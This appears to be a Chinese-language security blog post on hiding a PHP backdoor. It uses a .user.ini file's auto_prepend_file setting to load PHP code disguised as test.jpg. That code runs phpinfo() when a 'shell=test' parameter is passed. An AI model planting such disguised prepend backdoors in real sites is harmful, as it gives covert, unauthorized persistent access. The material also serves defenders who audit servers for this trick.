0x00 前言
在PHP中有個很有趣的東西叫.user.ini,有點類似.htaccess檔案,PHP會在每個目錄下掃描INI檔案,我們可以透過.user.ini檔案來實現隱藏後門的效果
官方手冊地址:傳送門
透過閱讀手冊,我們知道在.user.ini中可以識別PHP_INI_PERDIR
和PHP_INI_USER
模式的INI
設定
關於PHP_INI_*
一共有四種:
模式 | 含義 |
---|---|
PHP_INI_USER | 可在使用者指令碼以及.user.ini中設定 |
PHP_INI_PERDIR | 可在php.ini,.htaccess或httpd.conf中設定 |
PHP_INI_SYSTEM | 可在php.ini或httpd.conf中設定 |
PHP_INI_ALL | 可在任何地方設定 |
查閱php.ini配置選項列表手冊
發現了一個比較有意思的配置項:auto_prepend_file
該配置項會讓php檔案在執行前先包含一個指定的檔案,透過這個配置項,我們就可以來隱藏自己的後門
0x01 Action
這裡由於要使用FastCgi解析php,所以在PHPStudy裡面選的環境是php-5.6.27-nts + Nginx
然後在目錄下建立一個.user.ini
檔案,內容如下
auto_prepend_file=test.jpg
然後再建立一個test.jpg檔案,內容如下
<?php
if(@$_GET['shell']=='test'){
phpinfo();
}
?>
這時,我們訪問一個正常的php檔案
然後再帶上引數shell=test
就可以實現我們的隱藏後門了,具體如何利用就看各位的腦洞